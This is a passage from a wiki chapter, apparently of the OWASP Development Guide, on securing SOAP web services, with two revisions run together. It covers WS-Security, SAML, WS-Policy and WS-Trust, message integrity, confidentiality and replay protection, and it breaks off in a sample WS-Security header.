To make up for these shortcomings, WS-Policy specification was conceived as a mechanism for expressing complex policy requirements and qualities, sort of WSDL on steroids. Through the published policy SOAP endpoints can advertise their security requirements, and their clients can apply appropriate measures of message protection to construct the requests. The general WS-Policy specification (actually comprised of three separate documents) also has extensions for specific policy types, one of them – for security, WS-SecurityPolicy.

If the requestor does not possess the required tokens, it can try obtaining them via trust mechanism, using WS-Trust-enabled services, which are called to securely exchange various token types for the requested identity.

[[Image: Using Trust Service.gif|Figure 5. Using Trust service]]

Unfortunately, both WS-Policy and WS-Trust specifications have not been submitted for standardization to public bodies, and their development is progressing via private collaboration of several companies, although it was opened up for other participants as well. As a positive factor, there have been several interoperability events conducted for these specifications, so the development process of these critical links in the Web Services’ security infrastructure is not a complete black box.

==Forming Web Service Chains ==

Many existing or planned implementations of SOA or B2B systems rely on dynamic chains of Web Services for accomplishing various business specific tasks, from taking the orders through manufacturing and up to the distribution process.

[[Image:Service Chain.gif|Figure 6: Service chain]]

This is in theory. In practice, there are a lot of obstacles hidden among the way, and one of the major ones among them – security concerns about publicly exposing processing functions to intra- or Internet-based clients.

Here are just a few of the issues that hamper Web Services interaction – incompatible authentication and authorization models for users, amount of trust between services themselves and ways of establishing such trust, maintaining secure connections, and synchronization of user directories or otherwise exchanging users’ attributes. These issues will be briefly tackled in the following paragraphs.

===Incompatible user access control models ===

As explained earlier, in section 0, Web Services themselves do not include separate extensions for access control, relying instead on the existing security framework. What they do provide, however, are mechanisms for discovering and describing security requirements of a SOAP service (via WS-Policy), and for obtaining appropriate security credentials via WS-Trust based services.
[[Category:FIXME|Please check the reference (see 0)]]

===Service trust ===

In order to establish mutual trust between client and service, they have to satisfy each other’s policy requirements. A simple and popular model is mutual certificate authentication via SSL, but it is not scalable for open service models, and supports only one authentication type. Services that require more flexibility have to use pretty much the same access control mechanisms as with users to establish each other’s identities prior to engaging in a conversation.

===Secure connections ===

Once trust is established it would be impractical to require its confirmation on each interaction. Instead, a secure client-server link is formed and maintained the entire time a client’s session is active. Again, the most popular mechanism today for maintaining such link is SSL, but it is not a Web Service-specific mechanism, and it has a number of shortcomings when applied to SOAP communication, as explained in 0.
[[Category:FIXME|Please check the reference (see 0)]]

===Synchronization of user directories ===

This is a very acute problem when dealing with cross-domain applications, as users’ population tends to change frequently among different domains. So, how does a service in domain B decide whether it is going to trust user’s claim that he has been already authenticated in domain A? There exist different aspects of this problem. First – a common SSO mechanism, which implies that a user is known in both domains (through synchronization, or by some other means), and authentication tokens from one domain are acceptable in another. In Web Services world, this would be accomplished by passing around a SAML or Kerberos token for a user.

===Domain federation ===

Another aspect of the problem is when users are not shared across domains, but merely the fact that a user with certain ID has successfully authenticated in another domain, as would be the case with several large corporations, which would like to form a partnership, but would be reluctant to share customers’ details. The decision to accept this request is then based on the inter-domain procedures, establishing special trust relationships and allowing for exchanging such opaque tokens, which would be an example of Federation relationships. Of those efforts, most notable example is Liberty Alliance project, which is now being used as a basis for SAML 2.0 specifications. The work in this area is still far from being completed, and most of the existing deployments are nothing more than POC or internal pilot projects than to real cross-companies deployments, although LA’s website does list some case studies of large-scale projects.

==Available Implementations ==

It is important to realize from the beginning that no security standard by itself is going to provide security to the message exchanges – it is the installed implementations, which will be assessing conformance of the incoming SOAP messages to the applicable standards, as well as appropriately securing the outgoing messages.

===.NET – Web Service Extensions ===

Since new standards are being developed at a rather quick pace, .NET platform is not trying to catch up immediately, but uses Web Service Extensions (WSE) instead. WSE, currently at the version 2.0, adds development and runtime support for the latest Web Service security standards to the platform and development tools, even while they are still “work in progress”. Once standards mature, their support is incorporated into new releases of the .NET platform, which is what is going to happen when .NET 2.0 finally sees the world. The next release of WSE, 3.0, is going to coincide with VS.2005 release and will take advantages of the latest innovations of .NET 2.0 platform in messaging and Web Application areas.

Considering that Microsoft is one of the most active players in the Web Service security area and recognizing its influence in the industry, its WSE implementation is probably one of the most complete and up to date, and it is strongly advisable to run at least a quick interoperability check with WSE-secured .NET Web Service clients. If you have a Java-based Web Service, and the interoperability is a requirement (which is usually the case), in addition to the questions of security testing one needs to keep in mind the basic interoperability between Java and .NET Web Service data structures.

This is especially important since current versions of .NET Web Service tools frequently do not cleanly handle WS-Security’s and related XML schemas as published by OASIS, so some creativity on the part of a Web Service designer is needed. That said – WSE package itself contains very rich and well-structured functionality, which can be utilized both with ASP.NET-based and standalone Web Service clients to check incoming SOAP messages and secure outgoing ones at the infrastructure level, relieving Web Service programmers from knowing these details. Among other things, WSE 2.0 supports the most recent set of WS-Policy and WS-Security profiles, providing for basic message security and WS-Trust with WS-SecureConversation. Those are needed for establishing secure exchanges and sessions - similar to what SSL does at the transport level, but applied to message-based communication.

===Java toolkits ===

Most of the publicly available Java toolkits work at the level of XML security, i.e. XML-dsig and XML-enc – such as IBM’s XML Security Suite and Apache’s XML Security Java project. Java’s JSR 105 and JSR 106 (still not finalized) define Java bindings for signatures and encryption, which will allow plugging the implementations as JCA providers once work on those JSRs is completed.

Moving one level up, to address Web Services themselves, the picture becomes muddier – at the moment, there are many implementations in various stages of incompleteness. For instance, Apache is currently working on the WSS4J project, which is moving rather slowly, and there is commercial software package from Phaos (now owned by Oracle), which suffers from a lot of implementation problems.

A popular choice among Web Service developers today is Sun’s JWSDP, which includes support for Web Service security. However, its support for Web Service security specifications in the version 1.5 is only limited to implementation of the core WSS standard with username and X.509 certificate profiles. Security features are implemented as part of the JAX-RPC framework and configuration-driven, which allows for clean separation from the Web Service’s implementation.

===Hardware, software systems ===

This category includes complete systems, rather than toolkits or frameworks. On one hand, they usually provide rich functionality right off the shelf, on the other hand – its usage model is rigidly constrained by the solution’s architecture and implementation. This is in contrast to the toolkits, which do not provide any services by themselves, but handing system developers necessary tools to include the desired Web Service security features in their products… or to shoot themselves in the foot by applying them inappropriately.

These systems can be used at the infrastructure layer to verify incoming messages against the effective policy, check signatures, tokens, etc, before passing them on to the target Web Service. When applied to the outgoing SOAP messages, they act as a proxy, now altering the messages to decorate with the required security elements, sign and/or encrypt them.

Software systems are characterized by significant configuration flexibility, but comparatively slow processing. On the bright side, they often provide high level of integration with the existing enterprise infrastructure, relying on the back-end user and policy stores to look at the credentials, extracted from the WSS header, from the broader perspective. An example of such service is TransactionMinder from the former Netegrity – a Policy Enforcement Point for Web Services behind it, layered on top of the Policy Server, which makes policy decisions by checking the extracted credentials against the configured stores and policies.

For hardware systems, performance is the key – they have already broken gigabyte processing threshold, and allow for real-time processing of huge documents, decorated according to the variety of the latest Web Service security standards, not only WSS. The usage simplicity is another attractive point of those systems - in the most trivial cases, the hardware box may be literally dropped in, plugged, and be used right away. These qualities come with a price, however – this performance and simplicity can be achieved as long as the user stays within the pre-configured confines of the hardware box. The moment he tries to integrate with the back-end stores via callbacks (for those solutions that have this capability, since not all of them do), most of the advantages are lost. As an example of such hardware device, Layer 7 Technologies provides a scalable SecureSpan Networking Gateway, which acts both as the inbound firewall and the outbound proxy to handle XML traffic in real time.

==Problems ==

As is probably clear from the previous sections, Web Services are still experiencing a lot of turbulence, and it will take a while before they can really catch on. Here is a brief look at what problems surround currently existing security standards and their implementations.

===Immaturity of the standards ===

Most of the standards are either very recent (couple years old at most), or still being developed. Although standards development is done in committees, which, presumably, reduces risks by going through an exhaustive reviewing and commenting process, some error scenarios still slip in periodically, as no theory can possibly match the testing resulting from pounding by thousands of developers working in the real field.

Additionally, it does not help that for political reasons some of these standards are withheld from public process, which is the case with many standards from the WSA arena (see 0), or that some of the efforts are duplicated, as was the case with LA and WS-Federation specifications.
[[Category:FIXME|Please check the reference (see 0)]]

===Performance ===

XML parsing is a slow task, which is an accepted reality, and SOAP processing slows it down even more. Now, with expensive cryptographic and textual conversion operations thrown into the mix, these tasks become a performance bottleneck, even with the latest crypto- and XML-processing hardware solutions offered today. All of the products currently on the market are facing this issue, and they are trying to resolve it with varying degrees of success.

Hardware solutions, while substantially (by orders of magnitude) improving the performance, cannot always be used as an optimal solution, as they cannot be easily integrated with the already existing back-end software infrastructure, at least – not without making performance sacrifices. Another consideration whether hardware-based systems are the right solution – they are usually highly specialized in what they are doing, while modern Application Servers and security frameworks can usually offer a much greater variety of protection mechanisms, protecting not only Web Services, but also other deployed applications in a uniform and consistent way.

===Complexity and interoperability ===

As could be deduced from the previous sections, Web Service security standards are fairly complex, and have very steep learning curve associated with them. Most of the current products, dealing with Web Service security, suffer from very mediocre usability due to the complexity of the underlying infrastructure. Configuring all different policies, identities, keys, and protocols takes a lot of time and good understanding of the involved technologies, as most of the times errors that end users are seeing have very cryptic and misleading descriptions.

In order to help administrators and reduce security risks from service misconfigurations, many companies develop policy templates, which group together best practices for protecting incoming and outgoing SOAP messages. Unfortunately, this work is not currently on the radar of any of the standard’s bodies, so it appears unlikely that such templates will be released for public use any time soon. Closest to this effort may be WS-I’s Basic Security Profile (BSP), which tries to define the rules for better interoperability among Web Services, using a subset of common security features from various security standards like WSS. However, this work is not aimed at supplying the administrators with ready for deployment security templates matching the most popular business use cases, but rather at establishing the least common denominator.

===Key management ===

Key management usually lies at the foundation of any other security activity, as most protection mechanisms rely on cryptographic keys one way or another. While Web Services have XKMS protocol for key distribution, local key management still presents a huge challenge in most cases, since PKI mechanism has a lot of well-documented deployment and usability issues. Those systems that opt to use homegrown mechanisms for key management run significant risks in many cases, since questions of storing, updating, and recovering secret and private keys more often than not are not adequately addressed in such solutions.

==Further Reading ==

* SearchSOA, SOA needs practical operational governance, Toufic Boubez

http://searchsoa.techtarget.com/news/interview/0,289202,sid26_gci1288649,00.html?track=NL-110&ad=618937&asrc=EM_NLN_2827289&uid=4724698

* Whitepaper: Securing XML Web Services: XML Firewalls and XML VPNs

http://layer7tech.com/new/library/custompage.html?id=4

* eBizQ, The Challenges of SOA Security, Peter Schooff

http://www.ebizq.net/blogs/news_security/2008/01/the_complexity_of_soa_security.php

* Piliptchouk, D., WS-Security in the Enterprise, O’Reilly ONJava

http://www.onjava.com/pub/a/onjava/2005/02/09/wssecurity.html

http://www.onjava.com/pub/a/onjava/2005/03/30/wssecurity2.html

* WS-Security OASIS site

http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=wss

* Microsoft, ''What’s new with WSE 3.0''

http://msdn.microsoft.com/webservices/webservices/building/wse/default.aspx?pull=/library/en-us/dnwse/html/newwse3.asp

* Eoin Keary, Preventing DOS attacks on web services

https://www.threatsandcountermeasures.com/wiki/default.aspx/ThreatsAndCountermeasuresCommunityKB.PreventingDOSAttacksOnWebServices
[[category:FIXME | broken link]] 

==Reference==
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Web Services]]

Web Services

2009-04-26T11:37:58Z

KirstenS: /* Standards committees */

[[Guide Table of Contents|Development Guide Table of Contents]]
__TOC__
[[Category:FIXME|This article has a lot of what I think are placeholders for references. It says "see section 0" and I think those are intended to be replaced with actual sections. I have noted them where I have found them. Need to figure out what those intended to reference, and change the reference]]
This section of the Development Guide details the common issues facing Web services developers, and methods to address common issues. Due to the space limitations, it cannot look at all of the surrounding issues in great detail, since each of them deserves a separate book of its own. Instead, an attempt is made to steer the reader to the appropriate usage patterns, and warn about potential roadblocks on the way.

Web Services have received a lot of press, and with that comes a great deal of confusion over what they really are. Some are heralding Web Services as the biggest technology breakthrough since the web itself; others are more skeptical that they are nothing more than evolved web applications. In either case, the issues of web application security apply to web services just as they do to web applications.

==What are Web Services?==

Suppose you were making an application that you wanted other applications to be able to communicate with. For example, your Java application has stock information updated every 5 minutes and you would like other applications, ones that may not even exist yet, to be able to use the data.

One way you can do this is to serialize your Java objects and send them over the wire to the application that requests them. The problem with this approach is that a C# application would not be able to use these objects because it serializes and deserializes objects differently than Java.

Another approach you could take is to send a text file filled with data to the application that requests it. This is better because a C# application could read the data. But this has another flaw: Lets assume your stock application is not the only one the C# application needs to interact with. Maybe it needs weather data, local restaurant data, movie data, etc. If every one of these applications uses its own unique file format, it would take considerable research to get the C# application to a working state.

The solution to both of these problems is to send a standard file format. A format that any application can use, regardless of the data being transported. Web Services are this solution. They let any application communicate with any other application without having to consider the language it was developed in or the format of the data.

At the simplest level, web services can be seen as a specialized web application that differs mainly at the presentation tier level. While web applications typically are HTML-based, web services are XML-based. Interactive users for B2C (business to consumer) transactions normally access web applications, while web services are employed as building blocks by other web applications for forming B2B (business to business) chains using the so-called SOA model. Web services typically present a public functional interface, callable in a programmatic fashion, while web applications tend to deal with a richer set of features and are content-driven in most cases.

==Securing Web Services ==

Web services, like other distributed applications, require protection at multiple levels:

* SOAP messages that are sent on the wire should be delivered confidentially and without tampering

* The server needs to be confident who it is talking to and what the clients are entitled to

* The clients need to know that they are talking to the right server, and not a phishing site (see the Phishing chapter for more information)

* System message logs should contain sufficient information to reliably reconstruct the chain of events and track those back to the authenticated callers

Correspondingly, the high-level approaches to solutions, discussed in the following sections, are valid for pretty much any distributed application, with some variations in the implementation details.

The good news for Web Services developers is that these are infrastructure-level tasks, so, theoretically, it is only the system administrators who should be worrying about these issues. However, for a number of reasons discussed later in this chapter, WS developers usually have to be at least aware of all these risks, and oftentimes they still have to resort to manually coding or tweaking the protection components.

==Communication security ==

There is a commonly cited statement, and even more often implemented approach – “we are using SSL to protect all communication, we are secure”. At the same time, there have been so many articles published on the topic of “channel security vs. token security” that it hardly makes sense to repeat those arguments here. Therefore, listed below is just a brief rundown of most common pitfalls when using channel security alone:

* It provides only “point-to-point” security

Any communication with multiple “hops” requires establishing separate channels (and trusts) between each communicating node along the way. There is also a subtle issue of trust transitivity, as trusts between node pairs {A,B} and {B,C} do not automatically imply {A,C} trust relationship.

* Storage issue

After messages are received on the server (even if it is not the intended recipient), they exist in the clear-text form, at least – temporarily. Storing the transmitted information at the intermediate aggravates the problem or destination servers in log files (where it can be browsed by anybody) and local caches.

* Lack of interoperability

While SSL provides a standard mechanism for transport protection, applications then have to utilize highly proprietary mechanisms for transmitting credentials, ensuring freshness, integrity, and confidentiality of data sent over the secure channel. Using a different server, which is semantically equivalent, but accepts a different format of the same credentials, would require altering the client and prevent forming automatic B2B service chains.

Standards-based token protection in many cases provides a superior alternative for message-oriented Web Service SOAP communication model.

That said – the reality is that the most Web Services today are still protected by some form of channel security mechanism, which alone might suffice for a simple internal application. However, one should clearly realize the limitations of such approach, and make conscious trade-offs at the design time, whether channel, token, or combined protection would work better for each specific case.

==Passing credentials ==

In order to enable credentials exchange and authentication for Web Services, their developers must address the following issues.

First, since SOAP messages are XML-based, all passed credentials have to be converted to text format. This is not a problem for username/password types of credentials, but binary ones (like X.509 certificates or Kerberos tokens) require converting them into text prior to sending and unambiguously restoring them upon receiving, which is usually done via a procedure called Base64 encoding and decoding.

Second, passing credentials carries an inherited risk of their disclosure – either by sniffing them during the wire transmission, or by analyzing the server logs. Therefore, things like passwords and private keys need to be either encrypted, or just never sent “in the clear”. Usual ways to avoid sending sensitive credentials are using cryptographic hashing and/or signatures.

==Ensuring message freshness ==

Even a valid message may present a danger if it is utilized in a “replay attack” – i.e. it is sent multiple times to the server to make it repeat the requested operation. This may be achieved by capturing an entire message, even if it is sufficiently protected against tampering, since it is the message itself that is used for attack now (see the XML Injection section of the Interpreter Injection chapter).

Usual means to protect against replayed messages is either using unique identifiers (nonces) on messages and keeping track of processed ones, or using a relatively short validity time window. In the Web Services world, information about the message creation time is usually communicated by inserting timestamps, which may just tell the instant the message was created, or have additional information, like its expiration time, or certain conditions.

The latter solution, although easier to implement, requires clock synchronization and is sensitive to “server time skew,” whereas server or clients' clocks drift too much, preventing timely message delivery, although this usually does not present significant problems with modern-day computers. A greater issue lies with message queuing at the servers, where messages may be expiring while waiting to be processed in the queue of an especially busy or non-responsive server.

==Protecting message integrity ==

When a message is received by a web service, it must always ask two questions: “whether I trust the caller,” “whether it created this message.” Assuming that the caller trust has been established one way or another, the server has to be assured that the message it is looking at was indeed issued by the caller, and not altered along the way (intentionally or not). This may affect technical qualities of a SOAP message, such as the message’s timestamp, or business content, such as the amount to be withdrawn from the bank account. Obviously, neither change should go undetected by the server.

In communication protocols, there are usually some mechanisms like checksum applied to ensure packet’s integrity. This would not be sufficient, however, in the realm of publicly exposed Web Services, since checksums (or digests, their cryptographic equivalents) are easily replaceable and cannot be reliably tracked back to the issuer. The required association may be established by utilizing HMAC, or by combining message digests with either cryptographic signatures or with secret key-encryption (assuming the keys are only known to the two communicating parties) to ensure that any change will immediately result in a cryptographic error.

==Protecting message confidentiality ==

Oftentimes, it is not sufficient to ensure the integrity – in many cases it is also desirable that nobody can see the data that is passed around and/or stored locally. It may apply to the entire message being processed, or only to certain parts of it – in either case, some type of encryption is required to conceal the content. Normally, symmetric encryption algorithms are used to encrypt bulk data, since it is significantly faster than the asymmetric ones. Asymmetric encryption is then applied to protect the symmetric session keys, which, in many implementations, are valid for one communication only and are subsequently discarded.

Applying encryption requires conducting an extensive setup work, since the communicating parties now have to be aware of which keys they can trust, deal with certificate and key validation, and know which keys should be used for communication.

In many cases, encryption is combined with signatures to provide both integrity and confidentiality. Normally, signing keys are different from the encrypting ones, primarily because of their different lifecycles – signing keys are permanently associated with their owners, while encryption keys may be invalidated after the message exchange. Another reason may be separation of business responsibilities - the signing authority (and the corresponding key) may belong to one department or person, while encryption keys are generated by the server controlled by members of IT department.

==Access control ==

After the message has been received and successfully validated, the server must decide:

* Does it know who is requesting the operation (Identification)

* Does it trust the caller’s identity claim (Authentication)

* Does it allow the caller to perform this operation (Authorization)

There is not much WS-specific activity that takes place at this stage – just several new ways of passing the credentials for authentication. Most often, authorization (or entitlement) tasks occur completely outside of the Web Service implementation, at the Policy Server that protects the whole domain.

There is another significant problem here – the traditional HTTP firewalls do not help at stopping attacks at the Web Services. An organization would need an XML/SOAP firewall, which is capable of conducting application-level analysis of the web server’s traffic and make intelligent decision about passing SOAP messages to their destination. The reader would need to refer to other books and publications on this very important topic, as it is impossible to cover it within just one chapter.

==Audit ==

A common task, typically required from the audits, is reconstructing the chain of events that led to a certain problem. Normally, this would be achieved by saving server logs in a secure location, available only to the IT administrators and system auditors, in order to create what is commonly referred to as “audit trail”. Web Services are no exception to this practice, and follow the general approach of other types of Web Applications.

Another auditing goal is non-repudiation, meaning that a message can be verifiably traced back to the caller. Following the standard legal practice, electronic documents now require some form of an “electronic signature”, but its definition is extremely broad and can mean practically anything – in many cases, entering your name and birthday qualifies as an e-signature.

As far as the WS are concerned, such level of protection would be insufficient and easily forgeable. The standard practice is to require cryptographic digital signatures over any content that has to be legally binding – if a document with such a signature is saved in the audit log, it can be reliably traced to the owner of the signing key.

==Web Services Security Hierarchy ==

Technically speaking, Web Services themselves are very simple and versatile – XML-based communication, described by an XML-based grammar, called Web Services Description Language (WSDL, see http://www.w3.org/TR/2005/WD-wsdl20-20050510), which binds abstract service interfaces, consisting of messages, expressed as XML Schema, and operations, to the underlying wire format. Although it is by no means a requirement, the format of choice is currently SOAP over HTTP. This means that Web Service interfaces are described in terms of the incoming and outgoing SOAP messages, transmitted over HTTP protocol.

===Standards committees ===

Before reviewing the individual standards, it is worth taking a brief look at the organizations which are developing and promoting them. There are quite a few industry-wide groups and consortiums working in this area, most important of which are listed below.

W3C (see http://www.w3.org) is the most well known industry group, which owns many Web-related standards and develops them in Working Group format. Of particular interest to this chapter are XML Schema, SOAP, XML-dsig, XML-enc, and WSDL standards (called recommendations in the W3C’s jargon).

OASIS (see http://www.oasis-open.org) mostly deals with Web Service-specific standards, not necessarily security-related. It also operates on a committee basis, forming so-called Technical Committees (TC) for the standards that it is going to be developing. Of interest for this discussion, OASIS owns WS-Security and SAML standards.

Web Services Interoperability Organization (WS-I, see http://www.ws-i.org/) was formed to promote a general framework for interoperable Web Services. Mostly its work consists of taking other broadly accepted standards, and developing so-called profiles, or sets of requirements for conforming Web Service implementations. In particular, its Basic Security Profile (BSP) relies on the OASIS’ WS-Security standard and specifies sets of optional and required security features in Web Services that claim interoperability.

Liberty Alliance (LA, see http://projectliberty.org) consortium was formed to develop and promote an interoperable Identity Federation framework. Although this framework is not strictly Web Service-specific, but rather general, it is important for this topic because of its close relation with the SAML standard developed by OASIS.

Besides the previously listed organizations, there are other industry associations, both permanently established and short-lived, which push forward various Web Service security activities. They are usually made up of software industry’s leading companies, such as Microsoft, IBM, Verisign, BEA, Sun, and others, that join them to work on a particular issue or proposal. Results of these joint activities, once they reach certain maturity, are often submitted to standardizations committees as a basis for new industry standards.

==SOAP ==

Simple Object Access Protocol (SOAP, see http://www.w3.org/TR/2003/REC-soap12-part1-20030624/) provides an XML-based framework for exchanging structured and typed information between peer services. This information, formatted into Header and Body, can theoretically be transmitted over a number of transport protocols, but only HTTP binding has been formally defined and is in active use today. SOAP provides for Remote Procedure Call-style (RPC) interactions, similar to remote function calls, and Document-style communication, with message contents based exclusively on XML Schema definitions in the Web Service’s WSDL. Invocation results may be optionally returned in the response message, or a Fault may be raised, which is roughly equivalent to using exceptions in traditional programming languages.

SOAP protocol, while defining the communication framework, provides no help in terms of securing message exchanges – the communications must either happen over secure channels, or use protection mechanisms described later in this chapter.

===XML security specifications (XML-dsig & Encryption) ===

XML Signature (XML-dsig, see http://www.w3.org/TR/2002/REC-xmldsig-core-20020212/), and XML Encryption (XML-enc, see http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/) add cryptographic protection to plain XML documents. These specifications add integrity, message and signer authentication, as well as support for encryption/decryption of whole XML documents or only of some elements inside them.

The real value of those standards comes from the highly flexible framework developed to reference the data being processed (both internal and external relative to the XML document), refer to the secret keys and key pairs, and to represent results of signing/encrypting operations as XML, which is added to/substituted in the original document.

However, by themselves, XML-dsig and XML-enc do not solve the problem of securing SOAP-based Web Service interactions, since the client and service first have to agree on the order of those operations, where to look for the signature, how to retrieve cryptographic tokens, which message elements should be signed and encrypted, how long a message is considered to be valid, and so on. These issues are addressed by the higher-level specifications, reviewed in the following sections.

===Security specifications ===

In addition to the above standards, there is a broad set of security-related specifications being currently developed for various aspects of Web Service operations.

One of them is SAML, which defines how identity, attribute, and authorization assertions should be exchanged among participating services in a secure and interoperable way.

A broad consortium, headed by Microsoft and IBM, with the input from Verisign, RSA Security, and other participants, developed a family of specifications, collectively known as “Web Services Roadmap”. Its foundation, WS-Security, has been submitted to OASIS and became an OASIS standard in 2004. Other important specifications from this family are still found in different development stages, and plans for their submission have not yet been announced, although they cover such important issues as security policies (WS-Policy et al), trust issues and security token exchange (WS-Trust), establishing context for secure conversation (WS-SecureConversation). One of the specifications in this family, WS-Federation, directly competes with the work being done by the LA consortium, and, although it is supposed to be incorporated into the Longhorn release of Windows, its future is not clear at the moment, since it has been significantly delayed and presently does not have industry momentum behind it.

==WS-Security Standard ==

WS-Security specification (WSS) was originally developed by Microsoft, IBM, and Verisign as part of a “Roadmap”, which was later renamed to Web Services Architecture, or WSA. WSS served as the foundation for all other specifications in this domain, creating a basic infrastructure for developing message-based security exchange. Because of its importance for establishing interoperable Web Services, it was submitted to OASIS and, after undergoing the required committee process, became an officially accepted standard. Current version is 1.0, and the work on the version 1.1 of the specification is under way and is expected to be finishing in the second half of 2005.
[[category:FIXME | outdated info? is it complete now?]]

===Organization of the standard ===

The WSS standard itself deals with several core security areas, leaving many details to so-called profile documents. The core areas, broadly defined by the standard, are:

* Ways to add security headers (WSSE Header) to SOAP Envelopes

* Attachment of security tokens and credentials to the message

* Inserting a timestamp

* Signing the message

* Encrypting the message

* Extensibility

Flexibility of the WS-Security standard lies in its extensibility, so that it remains adaptable to new types of security tokens and protocols that are being developed. This flexibility is achieved by defining additional profiles for inserting new types of security tokens into the WSS framework. While the signing and encrypting parts of the standards are not expected to require significant changes (only when the underlying XML-dsig and XML-enc are updated), the types of tokens, passed in WSS messages, and ways of attaching them to the message may vary substantially. At the high level the WSS standard defines three types of security tokens, attachable to a WSS Header: Username/password, Binary, and XML tokens. Each of those types is further specified in one (or more) profile document, which defines additional tokens' attributes and elements, needed to represent a particular type of security token.

[[Image:WSS_Specification_Hierarchy.gif|Figure 4: WSS specification hierarchy]]

===Purpose ===

The primary goal of the WSS standard is providing tools for message-level communication protection, whereas each message represents an isolated piece of information, carrying enough security data to verify all important message properties, such as: authenticity, integrity, freshness, and to initiate decryption of any encrypted message parts. This concept is a stark contrast to the traditional channel security, which methodically applies pre-negotiated security context to the whole stream, as opposed to the selective process of securing individual messages in WSS. In the Roadmap, that type of service is eventually expected to be provided by implementations of standards like WS-SecureConversation.

From the beginning, the WSS standard was conceived as a message-level toolkit for securely delivering data for higher level protocols. Those protocols, based on the standards like WS-Policy, WS-Trust, and Liberty Alliance, rely on the transmitted tokens to implement access control policies, token exchange, and other types of protection and integration. However, taken alone, the WSS standard does not mandate any specific security properties, and an ad-hoc application of its constructs can lead to subtle security vulnerabilities and hard to detect problems, as is also discussed in later sections of this chapter.

==WS-Security Building Blocks ==

The WSS standard actually consists of a number of documents – one core document, which defines how security headers may be included into SOAP envelope and describes all high-level blocks, which must be present in a valid security header. Profile documents have the dual task of extending definitions for the token types they are dealing with, providing additional attributes, elements, as well as defining relationships left out of the core specification, such as using attachments.

Core WSS 1.1 specification, located at http://www.oasis-open.org/committees/download.php/16790/wss-v1.1-spec-os-SOAPMessageSecurity.pdf, defines several types of security tokens (discussed later in this section – see 0), ways to reference them, timestamps, and ways to apply XML-dsig and XML-enc in the security headers – see the XML Dsig section for more details about their general structure.

Associated specifications are:

* Username token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16782/wss-v1.1-spec-os-UsernameTokenProfile.pdf, which adds various password-related extensions to the basic UsernameToken from the core specification

* X.509 token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16785/wss-v1.1-spec-os-x509TokenProfile.pdf which specifies, how X.509 certificates may be passed in the BinarySecurityToken, specified by the core document

* SAML Token profile 1.1, located at http://www.oasis-open.org/committees/download.php/16768/wss-v1.1-spec-os-SAMLTokenProfile.pdf that specifies how XML-based SAML tokens can be inserted into WSS headers.

* Kerberos Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16788/wss-v1.1-spec-os-KerberosTokenProfile.pdf that defines how to encode Kerberos tickets and attach them to SOAP messages.

* Rights Expression Language (REL) Token Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16687/oasis-wss-rel-token-profile-1.1.pdf that describes the use of ISO/IEC 21000-5 Rights Expressions with respect to the WS-Security specification.

* SOAP with Attachments (SWA) Profile 1.1, located at http://www.oasis-open.org/committees/download.php/16672/wss-v1.1-spec-os-SwAProfile.pdf that describes how to use WSS-Sec with SOAP Messages with Attachments.

===How data is passed ===

WSS security specification deals with two distinct types of data: security information, which includes security tokens, signatures, digests, etc; and message data, i.e. everything else that is passed in the SOAP message. Being an XML-based standard, WSS works with textual information grouped into XML elements. Any binary data, such as cryptographic signatures or Kerberos tokens, has to go through a special transform, called Base64 encoding/decoding, which provides straightforward conversion from binary to ASCII formats and back. The example below demonstrates how binary data looks like in the encoded format:

''cCBDQTAeFw0wNDA1MTIxNjIzMDRaFw0wNTA1MTIxNjIzMDRaMG8xCz''

After encoding a binary element, an attribute with the algorithm’s identifier is added to the XML element carrying the data, so that the receiver would know to apply the correct decoder to read it. These identifiers are defined in the WSS specification documents.

===Security header’s structure ===

A security header in a message is used as a sort of an envelope around a letter – it seals and protects the letter, but does not care about its content. This “indifference” works in the other direction as well, as the letter (SOAP message) should not know, nor should it care about its envelope (WSS Header), since the different units of information, carried on the envelope and in the letter, are presumably targeted at different people or applications.

A SOAP Header may actually contain multiple security headers, as long as they are addressed to different actors (for SOAP 1.1), or roles (for SOAP 1.2). Their contents may also be referring to each other, but such references present a very complicated logistical problem for determining the proper order of decryptions/signature verifications, and should generally be avoided. WSS security header itself has a loose structure, as the specification itself does not require any elements to be present – so, the minimalist header with an empty message will look like:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' ''

'' </wsse:Security>''

'' </soap:Header>''

'' <soap:Body>''

'' </soap:Body>''

''</soap:Envelope>''

However, to be useful, it must carry some information, which is going to help securing the message. It means including one or more security tokens (see 0) with references, XML Signature, and XML Encryption elements, if the message is signed and/or encrypted. So, a typical header will look more like the following picture:

''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">''

'' <soap:Header>''

'' <wsse:Security xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" soap:mustUnderstand="1">''

'' <wsse:BinarySecurityToken EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3" wsu:Id="aXhOJ5">MIICtzCCAi... ''

'' </wsse:BinarySecurityToken>''

'' <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#">''

'' <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>''

'' <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">''

'' <wsse:SecurityTokenReference>''

'' <wsse:Reference URI="#aXhOJ5" ValueType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3"/>''

'' </wsse:SecurityTokenReference> ''

'' </dsig:KeyInfo>''

'' <xenc:CipherData>''

